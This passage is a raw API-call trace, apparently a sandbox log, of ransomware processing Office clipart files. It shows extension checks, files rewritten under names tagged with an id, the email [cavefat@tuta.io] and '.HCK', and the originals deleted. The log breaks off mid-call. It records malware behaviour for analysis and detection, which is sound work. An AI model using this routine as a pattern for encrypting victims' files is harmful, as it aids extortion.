(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".doc") returned 4 [0241.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".docx") returned 5 [0241.967] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.967] lstrlenW (lpString=".pdf") returned 4 [0241.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".xls") returned 4 [0241.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.967] lstrlenW (lpString=".xlsx") returned 5 [0241.967] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.967] lstrlenW (lpString=".ppt") returned 4 [0241.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".zip") returned 4 [0241.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.967] lstrlenW (lpString=".rar") returned 4 [0241.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".bz2") returned 4 [0241.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".7z") returned 3 [0241.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".dbf") returned 4 [0241.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.968] lstrlenW (lpString=".1cd") returned 4 [0241.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.968] lstrlenW (lpString=".jpg") returned 4 [0241.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.968] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.968] lstrlenW (lpString="J0185780.WMF") returned 12 [0241.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.969] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=59734) returned 1 [0241.969] CloseHandle (hObject=0x3bc) returned 1 [0241.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 0x220 [0241.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.970] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.970] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0241.970] GetLastError () returned 0x0 [0241.970] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xe956, lpOverlapped=0x0) returned 1 [0241.973] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xe960, lpOverlapped=0x0) returned 1 [0241.974] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.974] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.974] SetEndOfFile (hFile=0x56c) returned 1 [0241.974] CloseHandle (hObject=0x56c) returned 1 [0241.974] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.974] SetEndOfFile (hFile=0x3bc) returned 1 [0241.977] CloseHandle (hObject=0x3bc) returned 1 [0241.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString=".doc") returned 4 [0241.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString=".docx") returned 5 [0241.978] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.978] lstrlenW (lpString=".pdf") returned 4 [0241.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString=".xls") returned 4 [0241.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.978] lstrlenW (lpString=".xlsx") returned 5 [0241.978] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.978] lstrlenW (lpString=".ppt") returned 4 [0241.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString=".zip") returned 4 [0241.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.978] lstrlenW (lpString=".rar") returned 4 [0241.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString=".bz2") returned 4 [0241.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString=".7z") returned 3 [0241.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString=".dbf") returned 4 [0241.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString=".1cd") returned 4 [0241.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.978] lstrlenW (lpString=".jpg") returned 4 [0241.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString=".doc") returned 4 [0241.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString=".docx") returned 5 [0241.979] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.979] lstrlenW (lpString=".pdf") returned 4 [0241.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString=".xls") returned 4 [0241.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.979] lstrlenW (lpString=".xlsx") returned 5 [0241.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.979] lstrlenW (lpString=".ppt") returned 4 [0241.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString=".zip") returned 4 [0241.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.979] lstrlenW (lpString=".rar") returned 4 [0241.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString=".bz2") returned 4 [0241.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString=".7z") returned 3 [0241.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString=".dbf") returned 4 [0241.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString=".1cd") returned 4 [0241.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0241.979] lstrlenW (lpString=".jpg") returned 4 [0241.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.979] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.979] lstrlenW (lpString="J0185786.WMF") returned 12 [0241.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.980] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=39330) returned 1 [0241.980] CloseHandle (hObject=0x3bc) returned 1 [0241.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 0x220 [0241.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.981] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.981] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0242.167] GetLastError () returned 0x0 [0242.167] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x99a2, lpOverlapped=0x0) returned 1 [0242.169] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x99b0, lpOverlapped=0x0) returned 1 [0242.170] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.170] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.170] SetEndOfFile (hFile=0x56c) returned 1 [0242.170] CloseHandle (hObject=0x56c) returned 1 [0242.170] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.170] SetEndOfFile (hFile=0x3bc) returned 1 [0242.172] CloseHandle (hObject=0x3bc) returned 1 [0242.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0242.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.629] lstrlenW (lpString=".doc") returned 4 [0242.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString=".docx") returned 5 [0242.629] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.629] lstrlenW (lpString=".pdf") returned 4 [0242.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString=".xls") returned 4 [0242.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.629] lstrlenW (lpString=".xlsx") returned 5 [0242.629] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.629] lstrlenW (lpString=".ppt") returned 4 [0242.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.629] lstrlenW (lpString=".zip") returned 4 [0242.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.629] lstrlenW (lpString=".rar") returned 4 [0242.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString=".bz2") returned 4 [0242.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString=".7z") returned 3 [0242.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.629] lstrlenW (lpString=".dbf") returned 4 [0242.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".1cd") returned 4 [0242.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".jpg") returned 4 [0242.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".doc") returned 4 [0242.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString=".docx") returned 5 [0242.630] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0242.630] lstrlenW (lpString=".pdf") returned 4 [0242.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString=".xls") returned 4 [0242.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.630] lstrlenW (lpString=".xlsx") returned 5 [0242.630] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0242.630] lstrlenW (lpString=".ppt") returned 4 [0242.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".zip") returned 4 [0242.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.630] lstrlenW (lpString=".rar") returned 4 [0242.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString=".bz2") returned 4 [0242.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString=".7z") returned 3 [0242.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".dbf") returned 4 [0242.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".1cd") returned 4 [0242.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0242.630] lstrlenW (lpString=".jpg") returned 4 [0242.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.630] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.630] lstrlenW (lpString="J0185828.WMF") returned 12 [0242.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.864] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7796) returned 1 [0242.864] CloseHandle (hObject=0x3bc) returned 1 [0242.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 0x220 [0242.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.866] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.867] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0242.869] GetLastError () returned 0x0 [0242.869] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1e74, lpOverlapped=0x0) returned 1 [0242.870] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0242.871] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.871] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.871] SetEndOfFile (hFile=0x56c) returned 1 [0242.871] CloseHandle (hObject=0x56c) returned 1 [0242.871] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.871] SetEndOfFile (hFile=0x3bc) returned 1 [0242.877] CloseHandle (hObject=0x3bc) returned 1 [0242.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".doc") returned 4 [0242.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".docx") returned 5 [0242.879] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0242.879] lstrlenW (lpString=".pdf") returned 4 [0242.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".xls") returned 4 [0242.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.879] lstrlenW (lpString=".xlsx") returned 5 [0242.879] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0242.879] lstrlenW (lpString=".ppt") returned 4 [0242.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".zip") returned 4 [0242.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.879] lstrlenW (lpString=".rar") returned 4 [0242.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".bz2") returned 4 [0242.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".7z") returned 3 [0242.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".dbf") returned 4 [0242.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".1cd") returned 4 [0242.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".jpg") returned 4 [0242.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.879] lstrlenW (lpString=".doc") returned 4 [0242.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".docx") returned 5 [0242.879] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0242.879] lstrlenW (lpString=".pdf") returned 4 [0242.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.879] lstrlenW (lpString=".xls") returned 4 [0242.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 